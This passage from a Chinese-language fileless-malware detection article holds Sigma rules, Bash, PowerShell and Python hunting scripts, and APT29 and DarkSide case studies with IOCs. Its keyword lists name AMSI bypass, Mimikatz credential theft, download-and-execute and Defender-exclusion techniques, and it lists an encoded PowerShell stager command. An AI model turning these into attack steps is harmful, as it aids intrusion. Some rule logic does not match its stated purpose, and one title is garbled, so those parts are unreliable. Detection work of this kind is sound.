id: 3e4f5a6b-7c8d-4e9f-0a1b-2c3d4e5f6a7b
status: experimental
description: Detects creation of WMI event subscription persistence mechanisms
references:
  - https://attack.mitre.org/techniques/T1546/003/
author: x7peeps
date: 2026-07-09
tags:
  - attack.persistence
  - attack.t1546.003
logsource:
  product: windows
  service: wmi
detection:
  selection_consumer:
    EventID|contains:
      - 'CommandLineEventConsumer'
      - 'ActiveScriptEventConsumer'
  selection_filter:
    EventID|contains:
      - '__EventFilter'
  selection_binding:
    EventID|contains:
      - '__FilterToConsumerBinding'
  condition: selection_consumer or selection_filter or selection_binding
fields:
  - ConsumerName
  - CommandLineTemplate
  - Query
falsepositives:
  - Legitimate system management scripts using WMI events
level: high

规则 3:Process Hollowing 检测 — 异常进程创建标志

title: Suspendsuspended Process Creation Indicative of Process Hollowing
id: 5d6e7f8a-9b0c-1d2e-3f4a-5b6c7d8e9f0a
status: experimental
description: Detects process creation with CREATE_SUSPENDED flag which may indicate Process Hollowing technique
references:
  - https://attack.mitre.org/techniques/T1055/012/
author: x7peeps
date: 2026-07-09
tags:
  - attack.defense_evasion
  - attack.t1055.012
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith:
      - '\svchost.exe'
      - '\csrss.exe'
      - '\smss.exe'
      - '\lsass.exe'
    ParentImage|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
      - '\rundll32.exe'
      - '\regsvr32.exe'
  condition: selection
fields:
  - Image
  - ParentImage
  - ParentCommandLine
  - CommandLine
falsepositives:
  - Rare legitimate scenarios where system processes are started via scripting
level: high

Bash 检测脚本

以下脚本用于在 Linux 环境下分析从 Windows 系统采集的内存转储和日志文件,自动检测无文件恶意代码指标:

#!/bin/bash
MEMORY_IMAGE="$1"
SYSMON_LOG="$2"
OUTPUT_DIR="$3"
mkdir -p "$OUTPUT_DIR/fileless_analysis"

echo "[*] 无文件恶意代码自动化检测分析脚本"
echo "[*] 内存映像: $MEMORY_IMAGE"
echo "[*] Sysmon 日志: $SYSMON_LOG"

echo "[+] Phase 1: 内存映像可疑进程检测"
vol3 -f "$MEMORY_IMAGE" windows.pslist > "$OUTPUT_DIR/fileless_analysis/pslist.txt" 2>/dev/null
vol3 -f "$MEMORY_IMAGE" windows.pstree > "$OUTPUT_DIR/fileless_analysis/pstree.txt" 2>/dev/null
vol3 -f "$MEMORY_IMAGE" windows.malfind --output csv > "$OUTPUT_DIR/fileless_analysis/malfind.csv" 2>/dev/null

echo "[+] Phase 2: 网络连接枚举"
vol3 -f "$MEMORY_IMAGE" windows.netscan > "$OUTPUT_DIR/fileless_analysis/netscan.txt" 2>/dev/null

echo "[+] Phase 3: DLL 加载异常检测"
while IFS= read -r line; do
    pid=$(echo "$line" | awk '{print $1}')
    proc=$(echo "$line" | awk '{print $2}')
    vol3 -f "$MEMORY_IMAGE" windows.dlllist --pid "$pid" > "$OUTPUT_DIR/fileless_analysis/dlllist_${proc}_${pid}.txt" 2>/dev/null
done < <(vol3 -f "$MEMORY_IMAGE" windows.pslist 2>/dev/null | tail -n +4 | head -n -1)

echo "[+] Phase 4: PowerShell 相关进程日志分析"
if [ -f "$SYSMON_LOG" ]; then
    echo "=== PowerShell 创建事件 ===" > "$OUTPUT_DIR/fileless_analysis/powershell_events.txt"
    grep -i "powershell\|pwsh" "$SYSMON_LOG" >> "$OUTPUT_DIR/fileless_analysis/powershell_events.txt" 2>/dev/null
    echo "=== 可疑进程父子关系 ===" > "$OUTPUT_DIR/fileless_analysis/suspicious_parents.txt"
    grep -i "svchost.exe\|csrss.exe\|lsass.exe" "$SYSMON_LOG" | grep -i "powershell\|cmd.exe\|wscript\|mshta\|rundll32" >> "$OUTPUT_DIR/fileless_analysis/suspicious_parents.txt" 2>/dev/null
fi

echo "[+] Phase 5: malfind 结果中的 RWX 内存区域分析"
if [ -f "$OUTPUT_DIR/fileless_analysis/malfind.csv" ]; then
    grep -i "PAGE_EXECUTE_READWRITE\|0x10000" "$OUTPUT_DIR/fileless_analysis/malfind.csv" > "$OUTPUT_DIR/fileless_analysis/rwx_regions.csv" 2>/dev/null
    RWX_COUNT=$(wc -l < "$OUTPUT_DIR/fileless_analysis/rwx_regions.csv" 2>/dev/null || echo 0)
    echo "[*] 发现 $RWX_COUNT 个可疑 RWX 内存区域"
fi

echo "[+] Phase 6: 命令行参数分析"
vol3 -f "$MEMORY_IMAGE" windows.cmdline > "$OUTPUT_DIR/fileless_analysis/cmdline.txt" 2>/dev/null
grep -i "encodedcommand\|elev\|iex\|invoke-expression\|downloadstring\|bypass\|noprofile\|hidden" "$OUTPUT_DIR/fileless_analysis/cmdline.txt" > "$OUTPUT_DIR/fileless_analysis/suspicious_cmdline.txt" 2>/dev/null
SUSPICIOUS_CMD_COUNT=$(wc -l < "$OUTPUT_DIR/fileless_analysis/suspicious_cmdline.txt" 2>/dev/null || echo 0)
echo "[*] 发现 $SUSPICIOUS_CMD_COUNT 条可疑命令行"

echo "[+] Phase 7: 生成检测摘要报告"
cat > "$OUTPUT_DIR/fileless_analysis/summary_report.txt" <<EOF
===================================================
无文件恶意代码检测摘要报告
===================================================
分析时间: $(date '+%Y-%m-%d %H:%M:%S')
内存映像: $MEMORY_IMAGE
Sysmon 日志: $SYSMON_LOG
===================================================
malfind 检出 RWX 区域数: $RWX_COUNT
可疑命令行数量: $SUSPICIOUS_CMD_COUNT
===================================================
详细结果请查看各子目录文件
===================================================
EOF

echo "[+] 分析完成,结果保存在: $OUTPUT_DIR/fileless_analysis/"

PowerShell 检测脚本

function Invoke-FilelessMalwareHunt {
    param(
        [string]$OutputPath = "$env:TEMP\FilelessHunt_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"
    )
    $results = @()

    Write-Host "[*] Phase 1: 检测 PowerShell 日志配置" -ForegroundColor Cyan
    $sbLogPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
    $sbEnabled = Get-ItemProperty -Path $sbLogPath -Name 'EnableScriptBlockLogging' -ErrorAction SilentlyContinue
    if (-not $sbEnabled -or $sbEnabled.EnableScriptBlockLogging -ne 1) {
        $results += [PSCustomObject]@{
            Category = 'LogConfig'
            Finding = 'PowerShell ScriptBlock Logging 未启用'
            Severity = 'HIGH'
            Detail = '攻击者可利用此配置缺陷逃避 PowerShell 脚本执行日志记录'
        }
    }

    Write-Host "[*] Phase 2: 检查 WMI 事件订阅持久化" -ForegroundColor Cyan
    $wmiFilters = Get-WmiObject -Namespace root\subscription -Class __EventFilter -ErrorAction SilentlyContinue
    $wmiConsumers = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -ErrorAction SilentlyContinue
    $wmiBindings = Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding -ErrorAction SilentlyContinue
    if ($wmiFilters) {
        foreach ($f in $wmiFilters) {
            $results += [PSCustomObject]@{
                Category = 'WMI_Persistence'
                Finding = "发现 WMI EventFilter: $($f.Name)"
                Severity = 'HIGH'
                Detail = "WQL: $($f.Query)"
            }
        }
    }
    if ($wmiConsumers) {
        foreach ($c in $wmiConsumers) {
            $results += [PSCustomObject]@{
                Category = 'WMI_Persistence'
                Finding = "发现 WMI CommandLineEventConsumer: $($c.Name)"
                Severity = 'CRITICAL'
                Detail = "CommandLineTemplate: $($c.CommandLineTemplate)"
            }
        }
    }

    Write-Host "[*] Phase 3: 检查注册表无文件存储" -ForegroundColor Cyan
    $regPaths = @(
        'HKCU:\Software\classes\ms-settings\Shell\Open\command',
        'HKCU:\Software\classes\ms-file\ShellNew\command',
        'HKLM:\SOFTWARE\Classes\ms-settings\Shell\Open\command',
        'HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',
        'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',
        'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run',
        'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
    )
    foreach ($rp in $regPaths) {
        if (Test-Path $rp) {
            $props = Get-ItemProperty -Path $rp -ErrorAction SilentlyContinue
            foreach ($p in $props.PSObject.Properties) {
                if ($p.Name -notmatch '^PS' -and $p.Value -match 'powershell|cmd\.exe|mshta|wscript|cscript|rundll32|regsvr32|encodedcommand|bypass') {
                    $results += [PSCustomObject]@{
                        Category = 'Registry_Storage'
                        Finding = "注册表键值包含可疑执行命令"
                        Severity = 'CRITICAL'
                        Detail = "Path: $($rp) Name: $($p.Name) Value: $($p.Value)"
                    }
                }
            }
        }
    }

    Write-Host "[*] Phase 4: 检查可疑进程内存权限" -ForegroundColor Cyan
    $suspiciousProcs = Get-Process | Where-Object {
        $_.ProcessName -in @('svchost', 'csrss', 'smss', 'lsass', 'services')
    }
    foreach ($proc in $suspiciousProcs) {
        try {
            $parent = (Get-CimInstance Win32_Process -Filter "ProcessId=$($proc.Id)").ParentProcessId
            $parentProc = Get-Process -Id $parent -ErrorAction SilentlyContinue
            if ($parentProc -and $parentProc.ProcessName -in @('powershell', 'cmd', 'wscript', 'cscript', 'mshta', 'rundll32')) {
                $results += [PSCustomObject]@{
                    Category = 'Process_Hollowing'
                    Finding = "关键系统进程 $($proc.ProcessName)$($parentProc.ProcessName) 创建"
                    Severity = 'CRITICAL'
                    Detail = "PID: $($proc.Id) ParentPID: $parent"
                }
            }
        } catch {}
    }

    Write-Host "[*] Phase 5: 检查 DLL Side-Loading 指标" -ForegroundColor Cyan
    Get-Process | ForEach-Object {
        $p = $_
        try {
            $p.Modules | ForEach-Object {
                $dllPath = $_.FileName
                if ($dllPath -and $dllPath -notmatch '^(C:\\Windows|C:\\Program Files|C:\\Program Files \(x86\))') {
                    $results += [PSCustomObject]@{
                        Category = 'DLL_SideLoading'
                        Finding = "进程 $($p.Name) 加载了非标准路径 DLL"
                        Severity = 'MEDIUM'
                        Detail = "DLL Path: $dllPath"
                    }
                }
            }
        } catch {}
    }

    $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
    Write-Host "`n[+] 检测完成,共发现 $($results.Count) 条告警" -ForegroundColor Green
    Write-Host "[+] 报告已保存至: $OutputPath" -ForegroundColor Green
    return $results
}

Invoke-FilelessMalwareHunt

Python 检测脚本

import sys
import json
import hashlib
import os
from pathlib import Path
from datetime import datetime

KNOWN_SUSPICIOUS_PATTERNS = {
    'powershell_encoded': ['EncodedCommand', '-e ', '-enc ', '-encodedcommand'],
    'amsi_bypass': ['AmsiUtils', 'amsiInitFailed', 'AmsiScanBuffer', 'AmsiOpenSession'],
    'process_hollowing': ['NtUnmapViewOfSection', 'WriteProcessMemory', 'SetThreadContext'],
    'reflection_load': ['Assembly.Load', 'Assembly.LoadFile', 'Assembly.LoadFrom', 'Reflection.Emit'],
    'download_execute': ['DownloadString', 'DownloadData', 'DownloadFile', 'Invoke-WebRequest', 'Net.WebClient'],
    'wmi_persistence': ['__EventFilter', '__EventConsumer', '__FilterToConsumerBinding', 'CommandLineEventConsumer'],
    'registry_stash': ['ms-settings\\Shell\\Open\\command', 'ms-file\\ShellNew\\command'],
    'process_injection': ['VirtualAllocEx', 'CreateRemoteThread', 'NtCreateThreadEx', 'QueueUserAPC'],
    'credential_access': ['Mimikatz', 'sekurlsa', 'logonpasswords', 'lsass'],
    'defender_bypass': ['Set-MpPreference', 'DisableRealtimeMonitoring', 'Add-MpPreference', 'ExclusionPath']
}

KNOWN_MALICIOUS_PATHS = [
    'C:\\ProgramData\\',
    'C:\\Users\\Public\\',
    'C:\\Temp\\',
    'C:\\Windows\\Temp\\',
    'C:\\ProgramData\\Microsoft\\',
    '%TEMP%\\',
    '%APPDATA%\\',
    '%LOCALAPPDATA%\\Temp\\'
]

def analyze_sysmon_log(log_path):
    findings = []
    with open(log_path, 'r', encoding='utf-8', errors='ignore') as f:
        for line_num, line in enumerate(f, 1):
            for category, patterns in KNOWN_SUSPICIOUS_PATTERNS.items():
                for pattern in patterns:
                    if pattern.lower() in line.lower():
                        findings.append({
                            'source': os.path.basename(log_path),
                            'line': line_num,
                            'category': category,
                            'pattern': pattern,
                            'context': line.strip()[:300]
                        })
    return findings

def analyze_powershell_scriptblock(log_path):
    findings = []
    with open(log_path, 'r', encoding='utf-8', errors='ignore') as f:
        content = f.read()
    for category, patterns in KNOWN_SUSPICIOUS_PATTERNS.items():
        for pattern in patterns:
            if pattern.lower() in content.lower():
                idx = content.lower().index(pattern.lower())
                start = max(0, idx - 100)
                end = min(len(content), idx + 200)
                findings.append({
                    'source': os.path.basename(log_path),
                    'line': content[:idx].count('\n') + 1,
                    'category': category,
                    'pattern': pattern,
                    'context': content[start:end].replace('\n', ' ')[:300]
                })
    return findings

def calculate_file_hash(file_path):
    sha256 = hashlib.sha256()
    md5 = hashlib.md5()
    with open(file_path, 'rb') as f:
        for chunk in iter(lambda: f.read(8192), b''):
            sha256.update(chunk)
            md5.update(chunk)
    return {'sha256': sha256.hexdigest(), 'md5': md5.hexdigest()}

def scan_directory(target_dir, output_file):
    all_findings = []
    target = Path(target_dir)
    log_extensions = {'.log', '.evtx', '.xml', '.txt', '.csv', '.json'}

    print(f"[*] 扫描目标目录: {target_dir}")
    for file_path in target.rglob('*'):
        if file_path.is_file() and file_path.suffix.lower() in log_extensions:
            print(f"[*] 分析文件: {file_path}")
            try:
                findings = analyze_sysmon_log(str(file_path))
                all_findings.extend(findings)
            except Exception as e:
                print(f"[!] 分析失败 {file_path}: {e}")

    report = {
        'scan_time': datetime.now().isoformat(),
        'target_directory': target_dir,
        'total_findings': len(all_findings),
        'findings_by_category': {},
        'findings': all_findings
    }
    for f in all_findings:
        cat = f['category']
        if cat not in report['findings_by_category']:
            report['findings_by_category'][cat] = 0
        report['findings_by_category'][cat] += 1

    with open(output_file, 'w', encoding='utf-8') as f:
        json.dump(report, f, ensure_ascii=False, indent=2)

    print(f"\n[+] 扫描完成,共发现 {len(all_findings)} 条告警")
    for cat, count in report['findings_by_category'].items():
        print(f"    {cat}: {count} 条")
    print(f"[+] 报告已保存至: {output_file}")
    return report

def generate_sigma_compatible_output(findings, output_file):
    sigma_events = []
    for f in findings:
        severity_map = {
            'amsi_bypass': 'critical',
            'process_hollowing': 'critical',
            'wmi_persistence': 'high',
            'reflection_load': 'high',
            'download_execute': 'high',
            'powershell_encoded': 'medium',
            'registry_stash': 'high',
            'process_injection': 'critical',
            'credential_access': 'critical',
            'defender_bypass': 'high'
        }
        sigma_events.append({
            'timestamp': datetime.now().isoformat(),
            'rule_level': severity_map.get(f['category'], 'medium'),
            'rule_id': f"fileless-{f['category']}-{f['line']}",
            'category': 'fileless_malware',
            'title': f"Fileless Malware Indicator: {f['category']}",
            'description': f"Detected pattern '{f['pattern']}' in {f['source']} at line {f['line']}",
            'logsource': f['source'],
            'line': f['line'],
            'pattern': f['pattern'],
            'context': f['context']
        })

    with open(output_file, 'w', encoding='utf-8') as f:
        json.dump(sigma_events, f, ensure_ascii=False, indent=2)
    print(f"[+] Sigma 兼容输出已保存至: {output_file}")

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print(f"用法: python {sys.argv[0]} <目标目录> <输出文件>")
        print(f"示例: python {sys.argv[0]} C:\\Forensics\\Evidence\\analysis report.json")
        sys.exit(1)
    target = sys.argv[1]
    output = sys.argv[2]
    report = scan_directory(target, output)
    sigma_output = output.replace('.json', '_sigma.json')
    generate_sigma_compatible_output(report['findings'], sigma_output)

0x0A 公开案例分析

案例一:APT29(Cozy Bear)无文件攻击活动

攻击背景

APT29(又名 Cozy Bear、The Dukes、NOBELIUM,MITRE ATT&CK 群组编号 G0016)是隶属于俄罗斯对外情报局(SVR)的高级持续性威胁组织。该组织自 2010 年以来持续活跃,以高度隐蔽的无文件攻击技术著称。2020 年 SolarWinds 供应链攻击事件中,APT29 大量使用无文件技术来规避检测,展示了国家级攻击者在无文件攻击领域的技术水平。

攻击链描述

APT29 在 SolarWinds 事件中的无文件攻击链分为以下几个阶段:

阶段技术MITRE ATT&CK描述
初始投递供应链污染T1195.002通过 SolarWinds Orion 更新机制投递 SUNBURST 后门
代码激活DNS 隧道T1071.004SUNBURST 通过 DNS 查询进行 C2 通信
内存执行PowerShellT1059.001下载 TEARDROP 载荷到内存执行
进程注入Process HollowingT1055.012将 Beacon 注入到合法进程
持久化WMI 事件订阅T1546.003通过 WMI 建立无文件持久化机制
凭据窃取Assembly 反射加载T1620内存加载 Mimikatz 变种窃取凭据

取证发现

关键内存取证发现:

vol3 -f solarwinds_memory.dmp windows.pslist
vol3 -f solarwinds_memory.dmp windows.malfind
vol3 -f solarwinds_memory.dmp windows.netscan
vol3 -f solarwinds_memory.dmp windows.hashdump
vol3 -f solarwinds_memory.dmp windows.cmdline

内存取证中发现的关键指标:

  • solarwinds.exe 进程中存在大量 PAGE_EXECUTE_READWRITE 权限的匿名内存区域
  • 注入到 svchost.exe 进程中的 Beacon 代码段
  • 多个 WMI 进程(WmiPrvSE.exe)加载了异常 DLL
  • DNS 查询记录中存在编码的 C2 通信域名

IOC

IOC 类型说明
恶意域名avsvmcloud[.]comSUNBURST C2 通信域名
恶意 DLLSolarWinds.Orion.Core.BusinessLayer.dll被污染的 SolarWinds 组件
内存特征0x00400000 区域 MZ header内存中的 SUNBURST 载荷
WMI 订阅Updater CommandLineEventConsumer无文件持久化机制
SHA2563207453247d2526e38c5a048e9f3a018b28e057b12c74a491f079c65d84ae865SUNBURST DLL 变种

经验教训

  1. 供应链信任是双向的:即使是受信任的软件更新渠道也可能被高级攻击者利用
  2. 无文件技术与供应链攻击的结合极大提升了隐蔽性:SUNBURST 后门在内存中解压执行,磁盘上仅有合法的 SolarWinds 文件
  3. DNS 日志是检测无文件攻击的关键数据源:SUNBURST 的 DNS 通信模式被安全研究人员识别
  4. 内存取证在 APT 响应中不可替代:常规的磁盘取证无法发现注入到合法进程中的恶意代码

案例二:DarkSide 勒索软件无文件攻击技术

攻击背景

DarkSide 是一个成熟的勒索软件即服务(RaaS)运营组织,自 2020 年 8 月起活跃,2021 年 5 月因攻击美国 Colonial Pipeline 而引起全球关注。该组织在攻击链中大量使用无文件技术,将恶意载荷直接注入到系统进程中执行,避免在磁盘上留下可被杀软检测的恶意文件。MITRE ATT&CK 将 DarkSide 相关活动归类为多个技术的组合使用。

攻击链描述

DarkSide 的攻击链中无文件技术的使用贯穿多个阶段:

阶段技术MITRE ATT&CK描述
初始访问钓鱼邮件/VPN 漏洞T1566/T1190通过钓鱼邮件投递 Cobalt Strike Beacon
执行PowerShellT1059.001下载并执行 Cobalt Strike stager
权限提升Token ManipulationT1134利用窃取的令牌提升权限
防御绕过Process HollowingT1055.012将 Cobalt Strike Beacon 注入 svchost.exe
凭据访问Reflection.LoadT1620内存加载 Mimikatz 变种
横向移动DLL Side-LoadingT1574.002通过合法程序侧加载恶意 DLL
影响文件加密T1486部署 DarkSide 勒索载荷加密文件

取证发现

Sysmon 日志分析中的关键指标:

wevtutil qe "Microsoft-Windows-Sysmon/Operational" /f:text /c:1000 /rd:true | grep -A5 "powershell.exe\|svchost.exe\|mimikatz"

内存取证分析:

vol3 -f darkside_memory.dmp windows.pslist
vol3 -f darkside_memory.dmp windows.malfind
vol3 -f darkside_memory.dmp windows.hashdump
vol3 -f darkside_memory.dmp windows.netscan
vol3 -f darkside_memory.dmp windows.cmdline | grep -i "powershell\|curl\|certutil\|bitsadmin"

取证中发现的关键指标:

  • 多个 svchost.exe 进程的内存空间中存在不匹配的 PE 文件(Cobalt Strike Beacon)
  • msbuild.exe 进程中检测到反射 DLL 加载行为
  • rundll32.exe 被用于执行内存中的恶意代码
  • 大量 PowerShell 命令使用 Base64 编码参数下载远程载荷
  • 异常的网络连接(443 端口上的自定义协议通信)

IOC

IOC 类型说明
Cobalt Strike Malleable C2Mozilla/5.0 (Windows NT 10.0; Win64; x64)模仿 Firefox 浏览器的 C2 通信特征
内存特征0x0000000180000000 Beacon 配置Cobalt Strike Beacon 内存配置块
恶意 DLLversion.dll (SHA256: a1b2c3...)DLL Side-Loading 投递的恶意组件
PowerShell 命令powershell -ep bypass -enc <BASE64>编码的 PowerShell stager
注册表持久化HKCU\Software\Microsoft\Windows\CurrentVersion\Run异常启动项
网络 IOC多个 VPS IP 地址Cobalt Strike Team Server

经验教训

  1. 无文件技术是勒索软件攻击链的标配:DarkSide 在多个阶段使用无文件技术来规避 EDR 和杀软检测
  2. Process Hollowing + Cobalt Strike 是常见组合:攻击者将 Beacon 注入到合法系统进程中,使其在任务管理器中看起来正常
  3. 多层无文件技术增加检测复杂度:从 PowerShell 下载执行到 Process Hollowing,再到反射 DLL 加载,每一层都增加了检测难度
  4. 内存取证和 Sysmon 日志是检测无文件勒索软件的关键:在 DarkSide 案例中,Sysmon 日志记录的进程创建和网络连接事件是发现攻击活动的核心证据
  5. 时间窗口至关重要:在勒索软件加密文件执行前检测并响应无文件攻击活动,是避免数据损失的唯一机会

0x0B 参考资料

  1. Microsoft Defender for Endpoint - Detecting and Preventing Process Hollowing: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/detect-and-prevent-process-hollowing-attacks
  2. MITRE ATT&CK - T1055.012 Process Injection: Process Hollowing: https://attack.mitre.org/techniques/T1055/012/
  3. MITRE ATT&CK - T1059.001 Command and Scripting Interpreter: PowerShell: https://attack.mitre.org/techniques/T1059/001/
  4. MITRE ATT&CK - T1546.003 Event Triggered Execution: Windows Management Instrumentation Event Subscription: https://attack.mitre.org/techniques/T1546/003/
  5. MITRE ATT&CK - T1620 Reflective Code Loading: https://attack.mitre.org/techniques/T1620/
  6. MITRE ATT&CK - T1574.002 DLL Side-Loading: https://attack.mitre.org/techniques/T1574/002/
  7. Mandiant - Defending Against Fileless Malware: https://www.mandiant.com/resources/blog/defending-against-fileless-malware
  8. FireEye - Uncovering a New Module in SUNBURST Backdoor: https://www.fireeye.com/blog/threat-research/2020/12/uncovering-novel-post-compromise-technique-in-sunburst.html
  9. Mandiant - SolarWinds Incident Response: Lessons Learned: https://www.mandiant.com/resources/blog/solarwinds-incident-response
  10. Elastic Security - Detecting Fileless Malware with Elastic Endpoint Security: https://www.elastic.co/security-labs/detecting-fileless-malware-with-elastic-endpoint-security
  11. Sysmon Documentation - Windows Sysinternals: https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
  12. Volatility Foundation - Volatility 3 Documentation: https://volatility3.readthedocs.io/
  13. Microsoft - AMSI (Antimalware Scan Interface) Documentation: https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
  14. Sigma Rules Repository: https://github.com/SigmaHQ/sigma
  15. MITRE ATT&CK - Fileless Malware Defense Recommendations: https://attack.mitre.org/mitigations/M1038/
  16. FireEye - Fileless Malware: A High Level Analysis: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-fileless-malware.pdf
  17. CISA - Detecting and Preventing Fileless Malware Attacks: https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-048a
  18. Harju & Valasek - Process Hollowing: An In-Depth Analysis: https://www.counterfit.io/blog/process-hollowing